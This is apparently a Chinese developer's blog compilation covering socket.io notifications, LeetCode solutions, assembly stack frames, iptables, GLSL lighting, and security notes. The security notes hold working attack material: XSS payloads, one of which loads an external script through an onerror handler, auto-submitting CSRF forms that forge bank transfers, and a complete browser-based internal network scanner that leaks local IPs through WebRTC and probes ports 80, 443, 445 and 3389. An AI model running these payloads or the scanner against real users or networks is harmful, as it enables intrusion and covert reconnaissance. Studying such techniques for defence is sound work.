Web Notification+Web socket+express实践

socket.io

在express4+中,使用socket.io库

//app.js
var io = require('socket.io')();
var allSocket={};
var receive = require('./routes/receive')(io,allSocket); //利用高阶函数,向router中传递socket
app.io = io;
io.on('connection', function (socket) {
    console.log('socket连接成功');
    socket.on('join', function(data) {
        console.log(data.userName+'  join');
        allSocket[data.userName]=socket; //利用用户名做唯一标识,做私信时使用
    });
    socket.on('disconnect', function() {
        console.log('断开连接');
    });
});



// bin/www加上
app.io.attach(server)


// routes/receive.js
module.exports=function(io,allSocket){
    router.post('/login', function (req, res) {
    req.models.users.find({ userName: req.body.userName }, function (err, rows) {
        if (rows.length > 0 && rows[0].password == req.body.password) {
            io.sockets.emit('receive', {});
        }
    });
});

    return router;
}

浏览器端实现

Notification.requestPermission( function(status) {}); //请求权限


//socket.io-client.js
function RunSocket(data) {
  var socket = io('/');
  socket.on('connect', function () {
    console.log('connect');
    socket.emit("join", { userName: data.data.userName })
  });
  socket.on('receive', function (data) {
    console.log('receive')
    var n = new Notification(data.userName + "---通知来了", { body: data.xssProjectName + "---项目更新了" ,icon:"img/message.jpg"});
  });
  socket.on('disconnect', function () { console.log('disconnect') });
}

效果如下

Add Binary--leetcode

给定两个二进制字符串,返回它们的和(也是一个二进制字符串)。

var addBinary = function(a, b) {
    if (a.length===0) return b;
    if (b.length===0) return a;
    if(a[a.length-1] == '1'&&b[b.length-1] == '1'){
        return addBinary(addBinary(a.slice(0,a.length-1),b.slice(0,b.length-1)),'1')+'0';
    }
    else{
        return addBinary(a.slice(0,a.length-1),b.slice(0,b.length-1))+(parseInt(a[a.length-1])||parseInt(b[b.length-1])).toString();
    }
};


package main
import "strconv"

func addBinary(a,b string) string{
    var lenA=len(a)
    var lenB=len(b)
    if(lenA==0){
        return b
    }
    if(lenB==0){
        return a
    }
    if(a[lenA-1:lenA]=="1"&&b[lenB-1:lenB]=="1"){
        return addBinary(addBinary(a[0:lenA-1],b[0:lenB-1]),"1")+"0"
    }else{
        temp1,_:=strconv.Atoi(a[lenA-1:lenA])
        temp2,_:=strconv.Atoi(b[lenB-1:lenB])
        return addBinary(a[0:lenA-1],b[0:lenB-1])+strconv.Itoa(temp1+temp2)
    }
}

Convert Sorted Array to Binary Search Tree

有序数组创建高度最小的二叉查找树

// class TreeNode{
//     constructor(val) {
//         this.val = val;
//         this.left = null;
//         this.right=null
//       }
// }
var sortedArrayToBST = function(nums) {
            function build(arr){
                if(arr.length===0){return null;}
                var mid=Math.floor(arr.length/2);
                var node=new TreeNode(arr[mid]);
                node.left=build(arr.slice(0,mid))
                node.right=build(arr.slice(mid+1,arr.length))
                return node
            }

            return build(nums);
};

Validate Binary Search Tree -- LeetCode

判断二叉树是否二叉查找树

//先序遍历,利用区间判断

bool run(struct TreeNode* root,long min,long max){
    if(root==NULL){
        return true;
    }
    if(root->val<=min||root->val>=max){
        return false;
    }
    return run(root->left,min,root->val)&&run(root->right,root->val,max);
}


bool isValidBST(struct TreeNode* root) {
    return run(root,LONG_MIN,LONG_MAX);
}

//中序遍历验证(二叉搜索树,中序遍历是从小到大的一组数字)

var pre *TreeNode
func isValidBST(root *TreeNode) bool {
    pre=nil
    return run(root)
}
func run(root *TreeNode)bool{
    if(root==nil){
        return true
    }
    b1:=run(root.Left)
    if(pre!=nil&&pre.Val>=root.Val){
        return false
    }
    pre=root
    b2:=run(root.Right)
    return b1&&b2
}

esp,ebp汇编关于堆栈调用,局部变量

c语言如下

int fn(int x,int y,int z) {
    int a = 3;
    int b = 4;
    return x + y+z+a+b;
}

int main()
{
    printf("%d", fn(1, 2, 5)); //csasdfas
    getchar();
    return 0;
}

对应的反汇编代码

main函数

00AF182E    6A 05           push 0x5
00AF1830    6A 02           push 0x2
00AF1832    6A 01           push 0x1
00AF1834    E8 16F9FFFF     call ConsoleA.00AF114F

fn函数

00AF16F0 >  55              push ebp
00AF16F1    8BEC            mov ebp,esp
00AF16F3    81EC D8000000   sub esp,0xD8
00AF16F9    53              push ebx
00AF16FA    56              push esi                                 ; ConsoleA.<ModuleEntryPoint>
00AF16FB    57              push edi
00AF16FC    8DBD 28FFFFFF   lea edi,dword ptr ss:[ebp-0xD8]
00AF1702    B9 36000000     mov ecx,0x36
00AF1707    B8 CCCCCCCC     mov eax,0xCCCCCCCC
00AF170C    F3:AB           rep stos dword ptr es:[edi]
00AF170E    C745 F8 0300000>mov dword ptr ss:[ebp-0x8],0x3
00AF1715    C745 EC 0400000>mov dword ptr ss:[ebp-0x14],0x4
00AF171C    8B45 08         mov eax,dword ptr ss:[ebp+0x8]
00AF171F    0345 0C         add eax,dword ptr ss:[ebp+0xC]
00AF1722    0345 10         add eax,dword ptr ss:[ebp+0x10]
00AF1725    0345 F8         add eax,dword ptr ss:[ebp-0x8]
00AF1728    0345 EC         add eax,dword ptr ss:[ebp-0x14]
00AF172B    5F              pop edi
00AF172C    5E              pop esi                                  ; ConsoleA.<ModuleEntryPoint>
00AF172D    5B              pop ebx
00AF172E    8BE5            mov esp,ebp
00AF1730 >  5D              pop ebp
00AF1731    C3              retn

main函数中call fn(1,2,5),先把参数入栈,call把当前地址入栈,跳转到fn函数。然后保存EBP,再把当前ESP值赋给EBP,相当于这个函数所用的堆栈空间的起点,sub esp,0xD8定义局部空间的大小。保存ebx,esi,edi的值(入栈)。初始化局部空间。

如图,

mov dword ptr ss:[ebp-0x8],0x3    [ebp-0x8]就是局部变量a赋值3
mov dword ptr ss:[ebp-0x14],0x4   [ebp-0x14]就是局部变量b赋值4
mov eax,dword ptr ss:[ebp+0x8]    [ebp+0x8] 参数x=1
add eax,dword ptr ss:[ebp+0xC]    [ebp+0xC] 参数y=2
add eax,dword ptr ss:[ebp+0x10]   [ebp+0x10] 参数z=5

注意:win32汇编写的函数返回值一般在eax中,返回64位的数的话,EDX存放的是高32位,EAX存低32位.

ubuntu下iptables开启端口

root@vps:~/dadigua# iptables -A INPUT -i eth0 -p tcp -m tcp –dport 8080 -j ACCEPT

root@vps:~/dadigua# iptables-save > /etc/network/iptables.up.rules

root@vps:~/dadigua# iptables-apply

*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:syn-flood - [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 8080 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 23456 -j ACCEPT
-A INPUT -p icmp -m limit --limit 100/sec --limit-burst 100 -j ACCEPT
-A INPUT -p icmp -m limit --limit 1/s --limit-burst 10 -j ACCEPT
-A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j syn-flood
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A syn-flood -p tcp -m limit --limit 3/sec --limit-burst 6 -j RETURN
-A syn-flood -j REJECT --reject-with icmp-port-unreachable
COMMIT

CSRF攻击与防御

一.CSRF是什么

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,是一种广泛存在于网站中的安全漏洞,缩写为:CSRF/XSRF。

二.CSRF的原理

CSRF攻击能劫持终端用户在已登录的Web站点上执行本意操作。简单的说,攻击者透过盗用用户身份悄悄发送一个请求,或执行某些恶意操作,CSRF的过程非常隐秘,受害人甚至无法察觉。

产生CSRF漏洞的原因主要有两点:一方面是开发者不够谨慎,编写的Web应用程序存在漏洞导致恶意利用:另一方面,是因为Web浏览器对于Cookie和HTTP身份验证的回话信息的处理存在一定的缺陷。

三.CSRF的恶意利用

3.1执行恶意操作

举个例子,假设某个站点具有转账功能,实现该功能的HTML表单如下:

<form action="transfer.php" method="POST">
账号:<input type="text" name="toBankId"/></br>
金额:<input type="text" name="money"/></br>
<input type="submit" value="提交"/>
</form>

这时候,只要输入对应的账号和金额提交,就能实现转账。假设,受害者点击含有恶意代码的链接,并浏览带有下面HTML代码的网页:

<img src="http://www.xxx.com.transfer.php?toBankId=99&money=1000"

在这个CSRF的过程中,受害者是毫不知情的,莫名其妙发生了转账行为。CSRF的攻击最大的特点就是完全以用户的身份发起的,很难防御。

以上CSRF能成功地原因,还有一个是因为开发人员滥用$_REQUEST方法,导致本来的POST操作可以用GET方式实现。那么,开发人员改用$_POST()方法来获取数据,那么要想成功执行CSRF,需要加上Javascript代码。如下HTML:

<form id="test" action="http://www.xxx.com.transfer.php" method="POST">
账号:<input type="text" name="toBankId"/></br>
金额:<input type="text" name="money"/></br>
<input type="submit" value="提交"/>
<script>document.getElementById("test").submit()</script>**
3.2获取信息

同源策略,是浏览器安全的基石。但有,有时开发中要求B站中获取A站的数据,不得不使用JSONP的方式进行跨域请求,但是,攻击者可是可以直接获取信息的。JSONP如下:

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}
window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

JSONP最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。但是,这种跨同源策略的的行为,也大大带来了风险,不可滥用。因为这些数据别人也是可以获取的。最后不要用JSONP传递敏感的用户信息。

四.CSRF的防御

4.1验证HTTP Referer

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

4.2使用Token

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中。因此,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,对于token错误的请求,则认为是CSRF攻击,并拒绝该请求。

4.3在HTTP头中自定义属性并验证

自定义HTTP头X-CSRF-Token。先把token放入meta:

然后在全局Ajax中使用这种方式设置X-CSRF-Token请求头并提交:
$.ajaxSetup({
headers: {
‘X-CSRF-TOKEN’: $(‘meta[name=”csrf-token”]’).attr(‘content’)
}
});
每次Ajax请求则会自动加上自定义的HTTP头X-CSRF-Token。

######4.4 安全的跨域请求
使用新的W3C标准CORS,全称是”跨域资源共享”(Cross-origin resource sharing)。
下面是一个例子,浏览器发现这次跨源AJAX请求是一般请求,就自动在头信息之中,添加一个Origin字段。如下

GET /cors HTTP/1.1

Origin: http://api.bob.com

Host: api.alice.com

Accept-Language: en-US

Connection: keep-alive

User-Agent: Mozilla/5.0

上面的头信息中,Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。如果在B站请求A站浏览器会不允许跨域获取数据。如果在A站返回的数据加上一个Access-Control-Allow-Origin:*的HTTP的头。这所有网站都能访问。但是,这并不是我们想要的,只需把Access-Control-Allow-Origin修改成需要给权限的网站即可。

OpenGl学习2--Blinn-Phong光照模型

VERTEX SHADER

precision highp float;

// Attributes
attribute vec3 position;
attribute vec3 normal;
attribute vec2 uv;

// Uniforms
uniform mat4 worldViewProjection;

// Varying
varying vec3 vPosition;
varying vec3 vNormal;
varying vec2 vUV;

void main(void) {
    vec4 outPosition = worldViewProjection * vec4(position, 1.0);
    gl_Position = outPosition;

    vUV = uv;
    vPosition = position;
    vNormal = normal;
}

PIXEL (FRAGMENT) SHADER

precision highp float;

// Varying
varying vec3 vPosition;
varying vec3 vNormal;
varying vec2 vUV;

// Uniforms
uniform mat4 world;

// Refs
uniform vec3 cameraPosition;
uniform sampler2D textureSampler;

void main(void) {
    vec3 vLightPosition = vec3(0,20,40);

    // World values
    vec3 vPositionW = vec3(world * vec4(vPosition, 1.0));
    vec3 vNormalW = normalize(vec3(world * vec4(vNormal, 0.0)));
    vec3 viewDirectionW = normalize(cameraPosition - vPositionW);

    // Light
    vec3 lightVectorW = normalize(vLightPosition - vPositionW);
    vec3 color = texture2D(textureSampler, vUV).rgb;

    // diffuse
    float ndl = max(0., dot(vNormalW, lightVectorW));

    // Specular
    vec3 angleW = normalize(viewDirectionW + lightVectorW);
    float specComp = max(0., dot(vNormalW, angleW));
    specComp = pow(specComp, max(1., 64.)) * 2.;

    gl_FragColor = vec4(color * ndl + vec3(specComp), 1.);
}

Blinn-Phong是一种简化的PHong模型。

Blinn-Phong模型很大程度上和Phong是相似的,不过它稍微改进了Phong模型,使之能够克服我们所讨论到的问题。它放弃使用反射向量,而是基于我们现在所说的一个叫做半程向量(halfway vector)的向量,这是个单位向量,它在视线方向和光线方向的中间。半程向量和表面法线向量越接近,镜面反射成份就越大。转自高级光照

先从vertex shader(点着色器)看起,uniform是application的输入。worldViewProjection是一个mat4的世界-视图-投影矩阵。这里的vertex shader是一个平常的,没有位置变幻等操作。主要是向PIXEL传递了uv(vec2纹理坐标),position(vec3点坐标),normal(vec3法向量)。

PIXEL SHADER中。这个mat4 world是一个世界矩阵。vec3 cameraPosition相机的坐标,sampler2D textureSampler二维纹理

vec3 vLightPosition是光源的坐标。

vec3 vPositionW = vec3(world * vec4(vPosition, 1.0));这里当前点的坐标乘以世界矩阵,即可得世界坐标系中光源的坐标,(3D世界为啥要用vec4呢,是因为在解决3d数学问题时,是用4维空间的方式解决的,避免了万向锁的问题。)

vec3 vNormalW = normalize(vec3(world * vec4(vNormal, 0.0)));同样是,把法向量转换成世界坐标系的模向量,normalize转换成模向量。

vec3 viewDirectionW = normalize(cameraPosition - vPositionW);相机的坐标减当前点的世界坐标,就是向量。然后求模。

vec3 lightVectorW = normalize(vLightPosition - vPositionW);当前点坐标到灯光坐标的模向量

vec3 color = texture2D(textureSampler, vUV).rgb;当前原始的颜色。// texture2D 返回类型的精度为lowp是一个四维向量。.rgb是把前3个值赋值给color:vec3向量。一共是rgba4个维度。同理.rga就是取第1,2,4维度的值。

float ndl = max(0., dot(vNormalW, lightVectorW));求法向量与lightVectorW向量的点积。点积不是一个向量了,他是一个常数(float)。点积还可以判断向量之间的夹角,等于0,则两向量垂直,大于0为锐角,小于0为钝角。还有cross叉积。这里ndl是与0对比的最大值。与法向量为钝角时,则是光照在背面。即没有光照。则颜色vec3向量乘以0,为黑色。dot(vNormalW, lightVectorW)就是这两个向量夹角的cos值,vNormalW,lightVectorW都是模为1的向量。ndl是一个[0,1)之间。

vec3 angleW = normalize(viewDirectionW + lightVectorW);求半程向量。

float specComp = max(0., dot(vNormalW, angleW));同上。

specComp = pow(specComp, max(1., 64.)) * 2.; 这是Blinn-Phong的计算公式。

gl_FragColor = vec4(color * ndl + vec3(specComp), 1.);得出最终color。

OpenGl学习1--基础

  • VERTEX SHADER

    precision highp float;

    // Attributes
    attribute vec3 position;
    attribute vec2 uv;

    // Uniforms
    uniform mat4 worldViewProjection;

    // Varying
    varying vec2 vUV;

    void main(void) {

    gl_Position = worldViewProjection * vec4(position, 1.0);
    
    vUV = uv;

    }

  • PIXEL (FRAGMENT) SHADER

    precision highp float;

    varying vec2 vUV;

    uniform sampler2D textureSampler;

    void main(void) {

    gl_FragColor = texture2D(textureSampler, vUV);

    }

uniform变量

uniform变量是外部程序传递给(vertex和fragment)shader的变量。uniform变量就像是C语言里面

的常量(const),它不能被shader程序修改。uniform变量一般用来表示:变换矩阵,材质,光照参数和颜色等信息。

attribute变量

attribute变量是只能在vertex shader中使用的变量。一般用attribute变量来表示一些顶点的数据,如:顶点坐标,法线,纹理坐标(uv),顶点颜色等。

varying变量

varying变量是vertex shader向fragment shader传递数据用的。fragment shader是不能直接获取uv的,但是可以用varying接收vertex shader传来的。

其他,更加多的glsl数据结构可以到 https://my.oschina.net/sweetdark/blog/208024 看。

XSS笔记

XSS标签利用

  • <script><iframe>

这些标签可以直接执行javascript代码

  • javascript的伪协议

<a>,<iframe>

<iframe src="javascript:alert(xss);"></iframe> 
<a href="javascript:alert(xss);">xss</a>
  • 利用html事件(dom的事件有100多种)

onload,onclick,onerror,onmousemove,onmouseover

<img src="xxx.png" onload="alert('xss')" /> //需要加载成功
<a onclick="alert('xss')"></a>
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xxx/xxx.js';>
  • Data URI 协议(IE不可用)

<a>,<object>,<meta>

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">test</a>  
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>
<meta HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K" /> 
  • link的href

    <link rel="import" href="https://www.xxx.com/xss"></link> //一个xss页面就行
  • 其他

设置cookie:

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

Recover Binary Search Tree--leetcode

中序遍历二叉搜索树,是一串从小到大的数字,这里的树,两个个数字交换了位置。只需找出错误的节点,交换回来即可。

var err1 *TreeNode
var err2 *TreeNode
var pre *TreeNode
func run(root *TreeNode) {
    if root == nil {
        return
    }

    run(root.Left)
    if(pre!=nil&&pre.Val>root.Val){
        if(err1==nil){
            err1=pre
            err2=root
        }else {
            err2=root
        }
    }
    pre=root
    run(root.Right)
}

func recoverTree(root *TreeNode) {
    pre=nil
    err1=nil
    err2=nil
    run(root)

    temp:=err1.Val;
    err1.Val=err2.Val
    err2.Val=temp

}

ajax另类用法

ajax扫描局域网内部主机端口,发送ajax请求到80,或者557等端口。如果立马返回错误,说明端口存活,超时说明没有打开端口。

代码如下

        function run(callback){
        //////////////////////////////////////////////////////////////
        ///修改
        function cTreeNode(sNodeName, sIconURL) {
            this.sNodeName=sNodeName;
            this.sIconURL=sIconURL;

        };
        cTreeNode.prototype.setName = function cTreeNode_setName(sNewName) {
            this.sNodeName = sNewName;
        };
        cTreeNode.prototype.setIcon = function cTreeNode_setName(sIconURL) {
            this.sIconURL=sIconURL;
        };
        //var i=0;
        cTreeNode.prototype.appendChild = function cTreeNode_appendChild(oChildTreeNode) {

            this[oChildTreeNode.sNodeName]=oChildTreeNode;
            //i++;
            oChildTreeNode.parent=this;
            return oChildTreeNode;
        };
        cTreeNode.prototype.remove = function cTreeNode_remove() {

            for(var x in this.parent){

                if(this.parent[x]===this){
                    delete this.parent[x];
                }
            }

        };


        //////////////////////////////////////////////////////////
        function fGetIPAddresses(oIFrame, fSuccessCallback, fErrorCallback) {
            //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
            function fcGetRTCPeerConnection(oWindow) {
                return oWindow && (oWindow.RTCPeerConnection || oWindow.mozRTCPeerConnection || oWindow.webkitRTCPeerConnection);
            }
            var cRTCPeerConnection = fcGetRTCPeerConnection(window) || fcGetRTCPeerConnection(oIFrame.contentWindow);
            if(!cRTCPeerConnection) {
                fErrorCallback("RTCPeerConnection feature not available");
                return;
            };

            var oRTCPeerConnection = new cRTCPeerConnection({
                "iceServers": [{
                    "urls": "stun:stun.services.mozilla.com"
                }, ]
            }, {
                "optional": [{
                    "RtpDataChannels": true
                }, ]
            });

            dsIPAddresses = {};
            oRTCPeerConnection.onicecandidate = function fRTCPeerConnectionIceEventHandler(oRTCPeerConnectionIceEvent) {
                var oRTCIceCandidate = oRTCPeerConnectionIceEvent.candidate;
                if(oRTCIceCandidate) {
                    var asCandidate = oRTCIceCandidate.candidate.split(" ");
                    if(asCandidate[7] == "host") {
                        var sIPAddress = asCandidate[4];
                        if(/[0-9]{1,3}(?:\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7}/.exec(sIPAddress)) {
                            dsIPAddresses[sIPAddress] = 1;
                        } else {
                        //    console.log("Ignored RTCIceCandidate " + JSON.stringify(oRTCIceCandidate.candidate) + ": not an IP address.");
                        };
                    } else {
                    //    console.log("Ignored RTCIceCandidate " + JSON.stringify(oRTCIceCandidate.candidate) + ": not a \"host\".");
                    };
                } else {
                    fSuccessCallback(Object.keys(dsIPAddresses));
                };
            };

            oRTCPeerConnection.createDataChannel("");
            oRTCPeerConnection.createOffer(
                function fCreateOfferSuccess(oRTCSessionDescription) {
                    oRTCPeerConnection.setLocalDescription(
                        oRTCSessionDescription,
                        function fSetLocalDescriptionSuccess() {},
                        function fSetLocalDescriptionError(sErrorMessage) {
                            fErrorCallback("Could not set local description: " + sErrorMessage);
                        }
                    );
                },
                function fCreateOfferError(sErrorMessage) {
                    fErrorCallback("Could not create offer: " + sErrorMessage);
                }
            );
        };
        ///////////////////////////////////////////////////////
        function fXHRScanIPAddressPorts(sIPAddress, auPortNumbers,oTreeNode, fCallback) {
            var auDetectedPorts = [];
            (function fLoop() {
                if(auPortNumbers.length) {
                    var uPortNumber = auPortNumbers.pop(),
                        oXHR = new XMLHttpRequest(),
                        bFinished = false,
                        oTimeout = setTimeout(function fXHRTimeout() {
                            if(!bFinished) {
                                bFinished = true;
                                oXHR.abort();
                                fLoop();
                            };
                        }, 1500);
                    oXHR.onreadystatechange = function fXHRReadyStateChangeEventHandler(oEvent) {
                        if(oXHR.readyState == 4 && !bFinished) {
                            bFinished = true;
                            clearTimeout(oTimeout);
                            auDetectedPorts.push(uPortNumber);
                            fLoop();
                        };
                    };
                    oXHR.open("GET", location.protocol + "//" + sIPAddress + ":" + uPortNumber);
                    oXHR.send();
                } else {
                //    console.log("IP: " + sIPAddress + ", ports: " + (auDetectedPorts.join(", ") || "none"));
                    oTreeNode.ports=auDetectedPorts.join(", ") || null;
                    fCallback(auDetectedPorts);
                };
            })();
        };
        ///////////////////////////////////////////////////
        function fuIPAddress(sIPAddress) {
            var asComponents = /([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/.exec(sIPAddress);
            if(!asComponents) throw new TypeError("Invalid IPv4 address " + sIPAddress);
            var uIPAddress = 0;
            for(var uByte = 0; uByte < 4; uByte++) {
                uIPAddress = (uIPAddress << 8) + parseInt(asComponents[uByte + 1]); // no sanity checks!
            };
            return uIPAddress;
        };

        function fsIPAddress(uIPAddress) {
            var asIPAddress = [];
            for(var uByte = 0; uByte < 4; uByte++) {
                asIPAddress[uByte] = ((uIPAddress >> (24 - uByte * 8)) & 0xFF).toString();
            };
            return asIPAddress.join(".");
        };
        ////////////////////////////////////////////

        function fScanNetworksForIPAddresses(asIPAddresses, fCallback) {
            (function fScanNetworksForIPAddressesLoop() {
                if(asIPAddresses.length != 0) {
                    return fScanNetwork(asIPAddresses.shift(), fScanNetworksForIPAddressesLoop);
                };
                fCallback();
            })();
        };
        var oNetworkTreeNode;

        function fScanNetwork(sIPAddress, fCallback) {
            oNetworkTreeNode = new cTreeNode("Determining subnet for " + sIPAddress + "...", "scanning.svg"),
                uIPAddress = fuIPAddress(sIPAddress);
            //root=oNetworkTreeNode.oRootElement;
            fGetNetworkSubnetPrefixLength(uIPAddress, oNetworkTreeNode, function(uPrefixLength) {
                oNetworkTreeNode.setName("Scanning network " + sIPAddress + "/" + uPrefixLength + "...")
                var uBitMask = -(1 << (32 - uPrefixLength)),
                    uAllOnes = (1 << (32 - uPrefixLength)) - 1,
                    uStartIPAddress = uIPAddress & uBitMask,
                    uEndIPAddress = uIPAddress | uAllOnes,
                    uCurrentIPAddress = uStartIPAddress + 1,
                    uScansStarted = 0,
                    uScansFinished = 0;

                function fScanIPAddressThread() {
                    uScansStarted++;
                    if(uCurrentIPAddress != uEndIPAddress) {
                        var sCurrentIPAddress = fsIPAddress(uCurrentIPAddress);
                        if(uCurrentIPAddress == uIPAddress) {
                            oTreeNode = oNetworkTreeNode.appendChild(new cTreeNode(sCurrentIPAddress + " (you)", "machine.svg"));
                            fScanIPAddress(uCurrentIPAddress++, oTreeNode, fScanIPAddressThread);
                        } else {
                            oTreeNode = oNetworkTreeNode.appendChild(new cTreeNode(sCurrentIPAddress, "scanning.svg"));
                            fScanIPAddress(uCurrentIPAddress++, oTreeNode, fScanIPAddressThread);
                        };
                        return;
                    };
                    oNetworkTreeNode.setName("Network " + sIPAddress + "/" + uPrefixLength)
                    oNetworkTreeNode.setIcon("network.svg")
                    uScansFinished++;

                    if(uScansFinished==64){
                        for(var x in oNetworkTreeNode){
                            delete    oNetworkTreeNode[x].parent
                        }
                        callback(oNetworkTreeNode);
                    }
                    if(uScansStarted == uScansFinished) {
                        fCallback();
                    };
                };
                for(var uThreads = 64; uThreads--;) setTimeout(fScanIPAddressThread);
            });
        };

        function fGetNetworkSubnetPrefixLength(uIPAddress, oNetworkTreeNode, fCallback) {
            // Attempting to make an XHR to the broadcast address will result in an immediate error. Attempting to make an
            // XHR to an unused IP address will result in a time-out. We'll start with a large prefix and try increasingly
            // smaller ones to look for potential broadcast addresses using this timing difference. An IP address can also
            // be in-use by a *nix machine, which will also result in an immediate error. In an attempt to distinguish
            // between these two, try the next smaller prefix as well: if that fails, assume the former prefix is right and
            // return. Obviously this is not perfect, but it seems to work well enough.
            var uPrefixLength = 26,
                bBroadcastAddressMayHaveBeenFound = false,
                oTreeNode = oNetworkTreeNode.appendChild(new cTreeNode("", "scanning.svg"));
            (function fTestPrefixLength() {
                if(uPrefixLength >= 16) {
                    var uAllOnes = (1 << (32 - uPrefixLength)) - 1,
                        sBroadcastIPAddress = fsIPAddress(uIPAddress | uAllOnes);
                    oTreeNode.setName("Testing potential broadcast address " + sBroadcastIPAddress + " (/" + uPrefixLength + ")...");
                    fXHRScanIPAddressPorts(sBroadcastIPAddress, [2], oTreeNode,function(auDetectedPortNumbers) {
                        if(auDetectedPortNumbers.length > 0) {
                            // This IP address results in an immediate error. It may be the broadcast address.
                            if(uPrefixLength == 16) {
                                // We won't try to scan larger networks: use this.
                                oTreeNode.remove();
                                return fCallback(uPrefixLength);
                            };
                            bBroadcastAddressMayHaveBeenFound = true;
                            // Try the next: in most setups this should fail if we just found the broadcast address.
                            uPrefixLength--;
                            return fTestPrefixLength();
                        };
                        if(!bBroadcastAddressMayHaveBeenFound) {
                            // This IP address is not used, nor was the previously tested one: try the next.
                            uPrefixLength--;
                            return fTestPrefixLength();
                        };
                        // This IP address is not used, so the previous one is probably the broadcast address.
                        oTreeNode.remove();
                        fCallback(uPrefixLength + 1);
                    });
                    return;
                };
                oTreeNode.setName("Could not determine subnet, assuming /24...");
                oTreeNode.setIcon("error.svg");
                fCallback(8);
            })();
        };

        function fScanIPAddress(uIPAddress, oMachineTreeNode, fCallback) {
            var sIPAddress = fsIPAddress(uIPAddress);
            oMachineTreeNode.setName(sIPAddress);
            oMachineTreeNode.setIcon("scanning.svg");
            // check if machine responds on the SMB/RDP ports, which both Windows and *nix machines might.

        //    if(ipArr==null){
                ipArr= [80, 443, 445, 3389]
            //}
            ///////////////////////////////////////////////
            fXHRScanIPAddressPorts(sIPAddress, ipArr, oTreeNode,function(auDetectedPortNumbers) {
                // no response on this port: assume IP address not in use.
                if(auDetectedPortNumbers.length == 0) {
                    oMachineTreeNode.remove();
                    return fCallback();
                };
                // check if machine responds to other ports that are very unlikely to be in use:
                fXHRScanIPAddressPorts(sIPAddress, [2], oTreeNode,function(auDetectedPortNumbers) {
                    if(auDetectedPortNumbers.length > 0) {
                        // machine responds to ports that are very unlikely to be in use: probably *nix.
                        oMachineTreeNode.setIcon("machine.svg");
                        return fCallback();
                    };
                    // check again as this is somewhat unreliable:
                    fXHRScanIPAddressPorts(sIPAddress, [3],oTreeNode, function(auDetectedPortNumbers) {
                        if(auDetectedPortNumbers.length > 0) {
                            // machine responds to ports that are very unlikely to be in use: probably *nix.
                            oMachineTreeNode.setIcon("machine.svg");
                        } else {
                            // machine does not appear to respond to ports that are not in use: probably Windows.
                            oMachineTreeNode.setIcon("windows.svg");
                        };
                        fCallback();
                    });
                });
            });
        };

        fGetIPAddresses(
            window,
            function fGetIPAddressSuccessCallback(asIPAddresses) {
                if(asIPAddresses.length == 0) {
                    document.body.appendChild(new cTreeNode("Your local IP address could not be determined.", "error.svg").oRootElement);
                    return;
                }
                fScanNetworksForIPAddresses(asIPAddresses, function() {
                    document.title = "Done.";
                    clearInterval(oInterval);
                    document.body.appendChild(new cTreeNode("Scanning took " + fsGetTime() + ".", "info.svg").oRootElement);
                    // done scanning.
                });
            },
            function fGetIPAddressErrorCallback(sErrorMessage) {
                document.body.appendChild(new cTreeNode(sErrorMessage, "error.svg").oRootElement);
            }
        );
        }
run(function(data){console.log(data)})

遗传算法解决01背包问题

  • 遗传算法

    let w: number[] = [2, 2, 6, 5, 4];
    let p: number[] = [6, 3, 5, 4, 6];
    /**

    • 返回一个0到a之间整数

    • @param {number} a -整数

    • /
      function randInt(a:number):number{
      return Math.round(Math.random()(a+1));
      }
      function randClamp(a,b){
      return randInt(a-b)+a;
      }
      let geneLen=5;
      let max=0;
      /*

    • -生物圈
      /
      var biosphere={
      all:[],
      initLen:30,
      /*

      • -初始化

      • /
        init:()=>{
        for(let i=0;i<biosphere.initLen;i++){

        var temp=[];
        for(let j=0;j<geneLen;j++){
            if(Math.random()<0.5){
                temp.push(1);
